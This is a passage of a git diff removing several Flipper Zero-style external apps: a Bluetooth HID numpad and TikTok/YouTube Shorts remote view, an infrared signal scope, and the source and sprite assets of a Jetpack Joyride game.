ViewOrientationVertical); - view_set_draw_callback(hid_numpad->view, hid_numpad_draw_callback); - view_set_input_callback(hid_numpad->view, hid_numpad_input_callback); - - with_view_model( - hid_numpad->view, - HidNumpadModel * model, - { - model->transport = bt_hid->transport; - model->y = 0; - }, - true); - - return hid_numpad; -} - -void hid_numpad_free(HidNumpad* hid_numpad) { - furi_assert(hid_numpad); - view_free(hid_numpad->view); - free(hid_numpad); -} - -View* hid_numpad_get_view(HidNumpad* hid_numpad) { - furi_assert(hid_numpad); - return hid_numpad->view; -} - -void hid_numpad_set_connected_status(HidNumpad* hid_numpad, bool connected) { - furi_assert(hid_numpad); - with_view_model( - hid_numpad->view, HidNumpadModel * model, { model->connected = connected; }, true); -} diff --git a/applications/external/hid_app/views/hid_numpad.h b/applications/external/hid_app/views/hid_numpad.h deleted file mode 100644 index d9bf54df9..000000000 --- a/applications/external/hid_app/views/hid_numpad.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidNumpad HidNumpad; - -HidNumpad* hid_numpad_alloc(Hid* bt_hid); - -void hid_numpad_free(HidNumpad* hid_numpad); - -View* hid_numpad_get_view(HidNumpad* hid_numpad); - -void hid_numpad_set_connected_status(HidNumpad* hid_numpad, bool connected); diff --git a/applications/external/hid_app/views/hid_tikshorts.c b/applications/external/hid_app/views/hid_tikshorts.c deleted file mode 100644 index 6965c1331..000000000 --- a/applications/external/hid_app/views/hid_tikshorts.c +++ /dev/null @@ -1,271 +0,0 @@ -#include "hid_tikshorts.h" -#include "../hid.h" -#include - -#include "hid_icons.h" - -#define TAG "HidTikShorts" - -struct HidTikShorts { - View* view; - Hid* hid; -}; - -typedef struct { - bool left_pressed; - bool up_pressed; - bool right_pressed; - bool down_pressed; - bool ok_pressed; - bool connected; - bool is_cursor_set; - bool back_mouse_pressed; - HidTransport transport; -} HidTikShortsModel; - -static void hid_tikshorts_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidTikShortsModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "TikTok /"); - elements_multiline_text_aligned(canvas, 3, 18, AlignLeft, AlignTop, "YT Shorts"); - canvas_set_font(canvas, FontSecondary); - - // Keypad circles - canvas_draw_icon(canvas, 58, 3, &I_OutCircles_70x51); - - // Pause - if(model->back_mouse_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 107, 33, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 113, 37, &I_Pause_icon_9x9); - canvas_set_color(canvas, ColorBlack); - - // Up - if(model->up_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 6, &I_S_UP_31x15); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 8, &I_Arr_up_7x9); - canvas_set_color(canvas, ColorBlack); - - // Down - if(model->down_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 36, &I_S_DOWN_31x15); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 40, &I_Arr_dwn_7x9); - canvas_set_color(canvas, ColorBlack); - - // Left - if(model->left_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 61, 13, &I_S_LEFT_15x31); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 64, 25, &I_Voldwn_6x6); - canvas_set_color(canvas, ColorBlack); - - // Right - if(model->right_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 91, 13, &I_S_RIGHT_15x31); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 95, 25, &I_Volup_8x6); - canvas_set_color(canvas, ColorBlack); - - // Ok - if(model->ok_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 74, 19, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 78, 25, &I_Like_def_11x9); - canvas_set_color(canvas, ColorBlack); - - // Exit - canvas_draw_icon(canvas, 0, 54, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 13, 62, AlignLeft, AlignBottom, "Hold to exit"); -} - -static void hid_tikshorts_reset_cursor(HidTikShorts* hid_tikshorts) { - // Set cursor to the phone's left up corner - // Delays to guarantee one packet per connection interval - for(size_t i = 0; i < 8; i++) { - hid_hal_mouse_move(hid_tikshorts->hid, -127, -127); - furi_delay_ms(50); - } - // Move cursor from the corner - hid_hal_mouse_move(hid_tikshorts->hid, 20, 120); - furi_delay_ms(50); -} - -static void hid_tikshorts_process_press( - HidTikShorts* hid_tikshorts, - HidTikShortsModel* model, - InputEvent* event) { - if(event->key == InputKeyUp) { - model->up_pressed = true; - } else if(event->key == InputKeyDown) { - model->down_pressed = true; - } else if(event->key == InputKeyLeft) { - model->left_pressed = true; - hid_hal_consumer_key_press(hid_tikshorts->hid, HID_CONSUMER_VOLUME_DECREMENT); - } else if(event->key == InputKeyRight) { - model->right_pressed = true; - hid_hal_consumer_key_press(hid_tikshorts->hid, HID_CONSUMER_VOLUME_INCREMENT); - } else if(event->key == InputKeyOk) { - model->ok_pressed = true; - } else if(event->key == InputKeyBack) { - model->back_mouse_pressed = true; - } -} - -static void hid_tikshorts_process_release( - HidTikShorts* hid_tikshorts, - HidTikShortsModel* model, - InputEvent* event) { - if(event->key == InputKeyUp) { - model->up_pressed = false; - } else if(event->key == InputKeyDown) { - model->down_pressed = false; - } else if(event->key == InputKeyLeft) { - model->left_pressed = false; - hid_hal_consumer_key_release(hid_tikshorts->hid, HID_CONSUMER_VOLUME_DECREMENT); - } else if(event->key == InputKeyRight) { - model->right_pressed = false; - hid_hal_consumer_key_release(hid_tikshorts->hid, HID_CONSUMER_VOLUME_INCREMENT); - } else if(event->key == InputKeyOk) { - model->ok_pressed = false; - } else if(event->key == InputKeyBack) { - model->back_mouse_pressed = false; - } -} - -static bool hid_tikshorts_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidTikShorts* hid_tikshorts = context; - bool consumed = false; - - with_view_model( - hid_tikshorts->view, - HidTikShortsModel * model, - { - if(event->type == InputTypePress) { - hid_tikshorts_process_press(hid_tikshorts, model, event); - if(model->connected && !model->is_cursor_set) { - hid_tikshorts_reset_cursor(hid_tikshorts); - model->is_cursor_set = true; - } - consumed = true; - } else if(event->type == InputTypeRelease) { - hid_tikshorts_process_release(hid_tikshorts, model, event); - consumed = true; - } else if(event->type == InputTypeShort) { - if(event->key == InputKeyOk) { - hid_hal_mouse_press(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(25); - hid_hal_mouse_release(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(100); - hid_hal_mouse_press(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(25); - hid_hal_mouse_release(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); - consumed = true; - } else if(event->key == InputKeyDown) { - // Swipe to next video - hid_hal_mouse_scroll(hid_tikshorts->hid, 6); - hid_hal_mouse_scroll(hid_tikshorts->hid, 8); - hid_hal_mouse_scroll(hid_tikshorts->hid, 10); - hid_hal_mouse_scroll(hid_tikshorts->hid, 8); - hid_hal_mouse_scroll(hid_tikshorts->hid, 6); - consumed = true; - } else if(event->key == InputKeyUp) { - // Swipe to previous video - hid_hal_mouse_scroll(hid_tikshorts->hid, -6); - hid_hal_mouse_scroll(hid_tikshorts->hid, -8); - hid_hal_mouse_scroll(hid_tikshorts->hid, -10); - hid_hal_mouse_scroll(hid_tikshorts->hid, -8); - hid_hal_mouse_scroll(hid_tikshorts->hid, -6); - consumed = true; - } else if(event->key == InputKeyBack) { - // Pause - hid_hal_mouse_press(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(50); - hid_hal_mouse_release(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); - consumed = true; - } - } else if(event->type == InputTypeLong) { - if(event->key == InputKeyBack) { - hid_hal_consumer_key_release_all(hid_tikshorts->hid); - model->is_cursor_set = false; - consumed = false; - } - } - }, - true); - - return consumed; -} - -HidTikShorts* hid_tikshorts_alloc(Hid* bt_hid) { - HidTikShorts* hid_tikshorts = malloc(sizeof(HidTikShorts)); - hid_tikshorts->hid = bt_hid; - hid_tikshorts->view = view_alloc(); - view_set_context(hid_tikshorts->view, hid_tikshorts); - view_allocate_model(hid_tikshorts->view, ViewModelTypeLocking, sizeof(HidTikShortsModel)); - view_set_draw_callback(hid_tikshorts->view, hid_tikshorts_draw_callback); - view_set_input_callback(hid_tikshorts->view, hid_tikshorts_input_callback); - - with_view_model( - hid_tikshorts->view, - HidTikShortsModel * model, - { model->transport = bt_hid->transport; }, - true); - - return hid_tikshorts; -} - -void hid_tikshorts_free(HidTikShorts* hid_tikshorts) { - furi_assert(hid_tikshorts); - view_free(hid_tikshorts->view); - free(hid_tikshorts); -} - -View* hid_tikshorts_get_view(HidTikShorts* hid_tikshorts) { - furi_assert(hid_tikshorts); - return hid_tikshorts->view; -} - -void hid_tikshorts_set_connected_status(HidTikShorts* hid_tikshorts, bool connected) { - furi_assert(hid_tikshorts); - with_view_model( - hid_tikshorts->view, - HidTikShortsModel * model, - { - model->connected = connected; - model->is_cursor_set = false; - }, - true); -} diff --git a/applications/external/hid_app/views/hid_tikshorts.h b/applications/external/hid_app/views/hid_tikshorts.h deleted file mode 100644 index 5604962ee..000000000 --- a/applications/external/hid_app/views/hid_tikshorts.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidTikShorts HidTikShorts; - -HidTikShorts* hid_tikshorts_alloc(Hid* bt_hid); - -void hid_tikshorts_free(HidTikShorts* hid_tikshorts); - -View* hid_tikshorts_get_view(HidTikShorts* hid_tikshorts); - -void hid_tikshorts_set_connected_status(HidTikShorts* hid_tikshorts, bool connected); diff --git a/applications/external/ir_scope/application.fam b/applications/external/ir_scope/application.fam deleted file mode 100644 index 00e161d97..000000000 --- a/applications/external/ir_scope/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="ir_scope", - name="IR Scope", - apptype=FlipperAppType.EXTERNAL, - entry_point="ir_scope_app", - cdefines=["APP_IR_SCOPE"], - requires=["gui"], - stack_size=2 * 1024, - fap_icon="ir_scope.png", - fap_category="Infrared", - fap_author="@kallanreed", - fap_version="1.0", - fap_description="App allows to see incoming IR signals.", -) diff --git a/applications/external/ir_scope/ir_scope.c b/applications/external/ir_scope/ir_scope.c deleted file mode 100644 index d56d1c78c..000000000 --- a/applications/external/ir_scope/ir_scope.c +++ /dev/null @@ -1,184 +0,0 @@ -// Author: github.com/kallanreed -#include -#include -#include -#include -#include -#include - -#define TAG "IR Scope" -#define COLS 128 -#define ROWS 8 - -typedef struct { - bool autoscale; - uint16_t us_per_sample; - size_t timings_cnt; - uint32_t* timings; - uint32_t timings_sum; - FuriMutex* mutex; -} IRScopeState; - -static void state_set_autoscale(IRScopeState* state) { - if(state->autoscale) state->us_per_sample = state->timings_sum / (ROWS * COLS); -} - -static void canvas_draw_str_outline(Canvas* canvas, int x, int y, const char* str) { - canvas_set_color(canvas, ColorWhite); - for(int y1 = -1; y1 <= 1; ++y1) - for(int x1 = -1; x1 <= 1; ++x1) canvas_draw_str(canvas, x + x1, y + y1, str); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, x, y, str); -} - -static void render_callback(Canvas* canvas, void* ctx) { - const IRScopeState* state = (IRScopeState*)ctx; - - furi_mutex_acquire(state->mutex, FuriWaitForever); - - canvas_clear(canvas); - canvas_draw_frame(canvas, 0, 0, 128, 64); - - // Draw the signal chart. - bool on = false; - bool done = false; - size_t ix = 0; - int timing_cols = -1; // Count of columns used to draw the current timing - for(size_t row = 0; row < ROWS && !done; ++row) { - for(size_t col = 0; col < COLS && !done; ++col) { - done = ix >= state->timings_cnt; - - if(!done && timing_cols < 0) { - timing_cols = state->timings[ix] / state->us_per_sample; - on = !on; - } - - if(timing_cols == 0) ++ix; - - int y = row * 8 + 7; - canvas_draw_line(canvas, col, y, col, y - (on ? 5 : 0)); - --timing_cols; - } - } - - canvas_set_font(canvas, FontSecondary); - if(state->autoscale) - canvas_draw_str_outline(canvas, 100, 64, "Auto"); - else { - char buf[20]; - snprintf(buf, sizeof(buf), "%uus", state->us_per_sample); - canvas_draw_str_outline(canvas, 100, 64, buf); - } - - furi_mutex_release(state->mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - FuriMessageQueue* event_queue = ctx; - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -static void ir_received_callback(void* ctx, InfraredWorkerSignal* signal) { - furi_check(signal); - IRScopeState* state = (IRScopeState*)ctx; - - furi_mutex_acquire(state->mutex, FuriWaitForever); - - const uint32_t* timings; - infrared_worker_get_raw_signal(signal, &timings, &state->timings_cnt); - - if(state->timings) { - free(state->timings); - state->timings_sum = 0; - } - - state->timings = malloc(state->timings_cnt * sizeof(uint32_t)); - - // Copy and sum. - for(size_t i = 0; i < state->timings_cnt; ++i) { - state->timings[i] = timings[i]; - state->timings_sum += timings[i]; - } - - state_set_autoscale(state); - - furi_mutex_release(state->mutex); -} - -int32_t ir_scope_app(void* p) { - UNUSED(p); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - furi_check(event_queue); - - if(furi_hal_infrared_is_busy()) { - FURI_LOG_E(TAG, "Infrared is busy."); - return -1; - } - - IRScopeState state = { - .autoscale = false, .us_per_sample = 200, .timings = NULL, .timings_cnt = 0, .mutex = NULL}; - state.mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!state.mutex) { - FURI_LOG_E(TAG, "Cannot create mutex."); - return -1; - } - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, &state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - Gui* gui = furi_record_open("gui"); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - InfraredWorker* worker = infrared_worker_alloc(); - infrared_worker_rx_enable_signal_decoding(worker, false); - infrared_worker_rx_enable_blink_on_receiving(worker, true); - infrared_worker_rx_set_received_signal_callback(worker, ir_received_callback, &state); - infrared_worker_rx_start(worker); - - InputEvent event; - bool processing = true; - while(processing) { - if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { - if(event.type == InputTypeRelease) { - furi_mutex_acquire(state.mutex, FuriWaitForever); - - if(event.key == InputKeyBack) { - processing = false; - } else if(event.key == InputKeyUp) { - state.us_per_sample = MIN(1000, state.us_per_sample + 25); - state.autoscale = false; - } else if(event.key == InputKeyDown) { - state.us_per_sample = MAX(25, state.us_per_sample - 25); - state.autoscale = false; - } else if(event.key == InputKeyOk) { - state.autoscale = !state.autoscale; - if(state.autoscale) - state_set_autoscale(&state); - else - state.us_per_sample = 200; - } - - furi_mutex_release(state.mutex); - } - } - view_port_update(view_port); - } - - // Clean up. - infrared_worker_rx_stop(worker); - infrared_worker_free(worker); - - if(state.timings) free(state.timings); - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close("gui"); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(state.mutex); - - return 0; -} diff --git a/applications/external/ir_scope/ir_scope.png b/applications/external/ir_scope/ir_scope.png deleted file mode 100644 index c0d7eaba0..000000000 Binary files a/applications/external/ir_scope/ir_scope.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/application.fam b/applications/external/jetpack_joyride/application.fam deleted file mode 100644 index 1b98e11ce..000000000 --- a/applications/external/jetpack_joyride/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -# For details & more options, see documentation/AppManifests.md in firmware repo - -App( - appid="jetpack_joyride", - name="Jetpack Joyride", - apptype=FlipperAppType.EXTERNAL, - entry_point="jetpack_game_app", - cdefines=["APP_JETPACK_GAME"], - requires=["gui"], - stack_size=4 * 1024, - order=100, - fap_icon="icon.png", - fap_category="Games", - fap_icon_assets="assets", -) diff --git a/applications/external/jetpack_joyride/assets/air_vent.png b/applications/external/jetpack_joyride/assets/air_vent.png deleted file mode 100644 index a7fcf0b20..000000000 Binary files a/applications/external/jetpack_joyride/assets/air_vent.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/alert/frame_01.png b/applications/external/jetpack_joyride/assets/alert/frame_01.png deleted file mode 100644 index ac4cca1b1..000000000 Binary files a/applications/external/jetpack_joyride/assets/alert/frame_01.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/alert/frame_02.png b/applications/external/jetpack_joyride/assets/alert/frame_02.png deleted file mode 100644 index c3955f090..000000000 Binary files a/applications/external/jetpack_joyride/assets/alert/frame_02.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/alert/frame_rate b/applications/external/jetpack_joyride/assets/alert/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/applications/external/jetpack_joyride/assets/alert/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/applications/external/jetpack_joyride/assets/barry/frame_01.png b/applications/external/jetpack_joyride/assets/barry/frame_01.png deleted file mode 100644 index 8abdcaf61..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry/frame_01.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/barry/frame_02.png b/applications/external/jetpack_joyride/assets/barry/frame_02.png deleted file mode 100644 index 5a4587ac8..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry/frame_02.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/barry/frame_03.png b/applications/external/jetpack_joyride/assets/barry/frame_03.png deleted file mode 100644 index d188aed3c..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry/frame_03.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/barry/frame_rate b/applications/external/jetpack_joyride/assets/barry/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/applications/external/jetpack_joyride/assets/barry/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/applications/external/jetpack_joyride/assets/barry_infill.png b/applications/external/jetpack_joyride/assets/barry_infill.png deleted file mode 100644 index 9462801f0..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/bg1.png b/applications/external/jetpack_joyride/assets/bg1.png deleted file mode 100644 index 82d614e1c..000000000 Binary files a/applications/external/jetpack_joyride/assets/bg1.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/bg2.png b/applications/external/jetpack_joyride/assets/bg2.png deleted file mode 100644 index ec8590d3a..000000000 Binary files a/applications/external/jetpack_joyride/assets/bg2.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/bg3.png b/applications/external/jetpack_joyride/assets/bg3.png deleted file mode 100644 index ebb1dd66b..000000000 Binary files a/applications/external/jetpack_joyride/assets/bg3.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/coin.png b/applications/external/jetpack_joyride/assets/coin.png deleted file mode 100644 index a2b5a409e..000000000 Binary files a/applications/external/jetpack_joyride/assets/coin.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/coin_infill.png b/applications/external/jetpack_joyride/assets/coin_infill.png deleted file mode 100644 index ab37874ff..000000000 Binary files a/applications/external/jetpack_joyride/assets/coin_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/dead_scientist.png b/applications/external/jetpack_joyride/assets/dead_scientist.png deleted file mode 100644 index cd7a9993a..000000000 Binary files a/applications/external/jetpack_joyride/assets/dead_scientist.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/dead_scientist_infill.png b/applications/external/jetpack_joyride/assets/dead_scientist_infill.png deleted file mode 100644 index 6f036fde2..000000000 Binary files a/applications/external/jetpack_joyride/assets/dead_scientist_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/door.png b/applications/external/jetpack_joyride/assets/door.png deleted file mode 100644 index 1ef861054..000000000 Binary files a/applications/external/jetpack_joyride/assets/door.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/missile/frame_01.png b/applications/external/jetpack_joyride/assets/missile/frame_01.png deleted file mode 100644 index f0b62ed03..000000000 Binary files a/applications/external/jetpack_joyride/assets/missile/frame_01.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/missile/frame_rate b/applications/external/jetpack_joyride/assets/missile/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/applications/external/jetpack_joyride/assets/missile/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/applications/external/jetpack_joyride/assets/missile_infill.png b/applications/external/jetpack_joyride/assets/missile_infill.png deleted file mode 100644 index d15f5a88e..000000000 Binary files a/applications/external/jetpack_joyride/assets/missile_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/pillar.png b/applications/external/jetpack_joyride/assets/pillar.png deleted file mode 100644 index 61979b393..000000000 Binary files a/applications/external/jetpack_joyride/assets/pillar.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_left.png b/applications/external/jetpack_joyride/assets/scientist_left.png deleted file mode 100644 index a9e880b6b..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_left.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_left_infill.png b/applications/external/jetpack_joyride/assets/scientist_left_infill.png deleted file mode 100644 index 4639cb957..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_left_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_right.png b/applications/external/jetpack_joyride/assets/scientist_right.png deleted file mode 100644 index dc40b560d..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_right.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_right_infill.png b/applications/external/jetpack_joyride/assets/scientist_right_infill.png deleted file mode 100644 index e4bc7def8..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_right_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/icon.png b/applications/external/jetpack_joyride/icon.png deleted file mode 100644 index 0d2d6cf42..000000000 Binary files a/applications/external/jetpack_joyride/icon.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/includes/background_asset.c b/applications/external/jetpack_joyride/includes/background_asset.c deleted file mode 100644 index 0a5ecdda9..000000000 --- a/applications/external/jetpack_joyride/includes/background_asset.c +++ /dev/null @@ -1,81 +0,0 @@ -#include - -#include "background_assets.h" - -static AssetProperties assetProperties[BG_ASSETS_MAX] = { - {.width = 27, .spawn_chance = 1, .x_offset = 24, .y_offset = 36, .sprite = &I_door}, - {.width = 12, .spawn_chance = 6, .x_offset = 33, .y_offset = 14, .sprite = &I_air_vent}}; - -void background_assets_tick(BackgroundAsset* const assets) { - // Move assets towards the player - for(int i = 0; i < BG_ASSETS_MAX; i++) { - if(assets[i].visible) { - assets[i].point.x -= 1; // move left by 2 units - if(assets[i].point.x <= - -assets[i].properties->width) { // if the asset is out of screen - assets[i].visible = false; // set asset x coordinate to 0 to mark it as "inactive" - } - } - } -} - -void spawn_random_background_asset(BackgroundAsset* const assets) { - // Calculate the total spawn chances for all assets - int total_spawn_chance = 0; - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - total_spawn_chance += assetProperties[i].spawn_chance; - } - - // Generate a random number between 0 and total_spawn_chance - int random_number = rand() % total_spawn_chance; - - // Select the asset based on the random number - int chosen_asset = -1; - int accumulated_chance = 0; - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - accumulated_chance += assetProperties[i].spawn_chance; - if(random_number < accumulated_chance) { - chosen_asset = i; - break; - } - } - - // If no asset is chosen, return - if(chosen_asset == -1) { - return; - } - - // Look for an available slot for the chosen asset - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - if(assets[i].visible == false) { - // Spawn the asset - assets[i].point.x = 127 + assetProperties[chosen_asset].x_offset; - assets[i].point.y = assetProperties[chosen_asset].y_offset; - assets[i].properties = &assetProperties[chosen_asset]; - assets[i].visible = true; - break; - } - } -} - -void draw_background_assets(const BackgroundAsset* assets, Canvas* const canvas, int distance) { - canvas_draw_box(canvas, 0, 6, 128, 1); - canvas_draw_box(canvas, 0, 56, 128, 2); - - // Calculate the pillar offset based on the traveled distance - int pillar_offset = distance % 64; - - // Draw pillars - for(int x = -pillar_offset; x < 128; x += 64) { - canvas_draw_icon(canvas, x, 6, &I_pillar); - } - - // Draw assets - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - if(assets[i].visible) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon( - canvas, assets[i].point.x, assets[i].point.y, assets[i].properties->sprite); - } - } -} diff --git a/applications/external/jetpack_joyride/includes/background_assets.h b/applications/external/jetpack_joyride/includes/background_assets.h deleted file mode 100644 index d42fcfd71..000000000 --- a/applications/external/jetpack_joyride/includes/background_assets.h +++ /dev/null @@ -1,34 +0,0 @@ -#ifndef BACKGROUND_ASSETS_H -#define BACKGROUND_ASSETS_H - -#include -#include - -#include - -#include "point.h" -#include "states.h" -#include "game_sprites.h" -#include - -#define BG_ASSETS_MAX 3 - -typedef struct { - int width; - int spawn_chance; - int x_offset; - int y_offset; - const Icon* sprite; -} AssetProperties; - -typedef struct { - POINT point; - AssetProperties* properties; - bool visible; -} BackgroundAsset; - -void background_assets_tick(BackgroundAsset* const assets); -void spawn_random_background_asset(BackgroundAsset* const assets); -void draw_background_assets(const BackgroundAsset* assets, Canvas* const canvas, int distance); - -#endif // BACKGROUND_ASSETS_H diff --git a/applications/external/jetpack_joyride/includes/barry.c b/applications/external/jetpack_joyride/includes/barry.c deleted file mode 100644 index 61d3a6fc4..000000000 --- a/applications/external/jetpack_joyride/includes/barry.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "barry.h" -#include "game_sprites.h" - -#include -#include - -void barry_tick(BARRY* const barry) { - // Do jetpack things - if(barry->isBoosting) { - barry->gravity += GRAVITY_BOOST; // Increase upward momentum - } else { - barry->gravity += GRAVITY_FALL; // Increase downward momentum faster - } - - barry->point.y += barry->gravity; - - // Constrain barry's height within sprite_height and 64 - sprite_height - if(barry->point.y > (64 - BARRY_HEIGHT)) { - barry->point.y = 64 - BARRY_HEIGHT; - barry->gravity = 0; // stop upward momentum - } else if(barry->point.y < 0) { - barry->point.y = 0; - barry->gravity = 0; // stop downward momentum - } -} - -void draw_barry(const BARRY* barry, Canvas* const canvas, const GameSprites* sprites) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon_animation(canvas, barry->point.x, barry->point.y, sprites->barry); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, barry->point.x, barry->point.y, sprites->barry_infill); -} \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/barry.h b/applications/external/jetpack_joyride/includes/barry.h deleted file mode 100644 index 494af434d..000000000 --- a/applications/external/jetpack_joyride/includes/barry.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef BARRY_H -#define BARRY_H - -#include - -#include -#include "point.h" -#include "game_sprites.h" - -#define GRAVITY_TICK 0.2 -#define GRAVITY_BOOST -0.4 -#define GRAVITY_FALL 0.3 - -typedef struct { - float gravity; - POINT point; - bool isBoosting; -} BARRY; - -void barry_tick(BARRY* const barry); -void draw_barry(const BARRY* barry, Canvas* const canvas, const GameSprites* sprites); - -#endif // BARRY_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/coin.c b/applications/external/jetpack_joyride/includes/coin.c deleted file mode 100644 index 7a3811a8c..000000000 --- a/applications/external/jetpack_joyride/includes/coin.c +++ /dev/null @@ -1,98 +0,0 @@ -#include -#include - -#include -#include - -#include "coin.h" -#include "barry.h" - -#define PATTERN_MAX_HEIGHT 40 - -// Patterns -const COIN_PATTERN coin_patterns[] = { - {// Square pattern - .count = 9, - .coins = {{0, 0}, {8, 0}, {16, 0}, {0, 8}, {8, 8}, {16, 8}, {0, 16}, {8, 16}, {16, 16}}}, - {// Wavy pattern (approximate sine wave) - .count = 8, - .coins = {{0, 8}, {8, 16}, {16, 24}, {24, 16}, {32, 8}, {40, 0}, {48, 8}, {56, 16}}}, - {// Diagonal pattern - .count = 5, - .coins = {{0, 0}, {8, 8}, {16, 16}, {24, 24}, {32, 32}}}, - // Add more patterns here -}; - -void coin_tick(COIN* const coins, BARRY* const barry, int* const total_coins) { - // Move coins towards the player - for(int i = 0; i < COINS_MAX; i++) { - if(coin_colides(&coins[i], barry)) { - coins[i].point.x = 0; // Remove the coin - (*total_coins)++; - } - if(coins[i].point.x > 0) { - coins[i].point.x -= 1; // move left by 1 unit - if(coins[i].point.x < -COIN_WIDTH) { // if the coin is out of screen - coins[i].point.x = 0; // set coin x coordinate to 0 to mark it as "inactive" - } - } - } -} - -bool coin_colides(COIN* const coin, BARRY* const barry) { - return !( - barry->point.x > coin->point.x + COIN_WIDTH || // Barry is to the right of the coin - barry->point.x + BARRY_WIDTH < coin->point.x || // Barry is to the left of the coin - barry->point.y > coin->point.y + COIN_WIDTH || // Barry is below the coin - barry->point.y 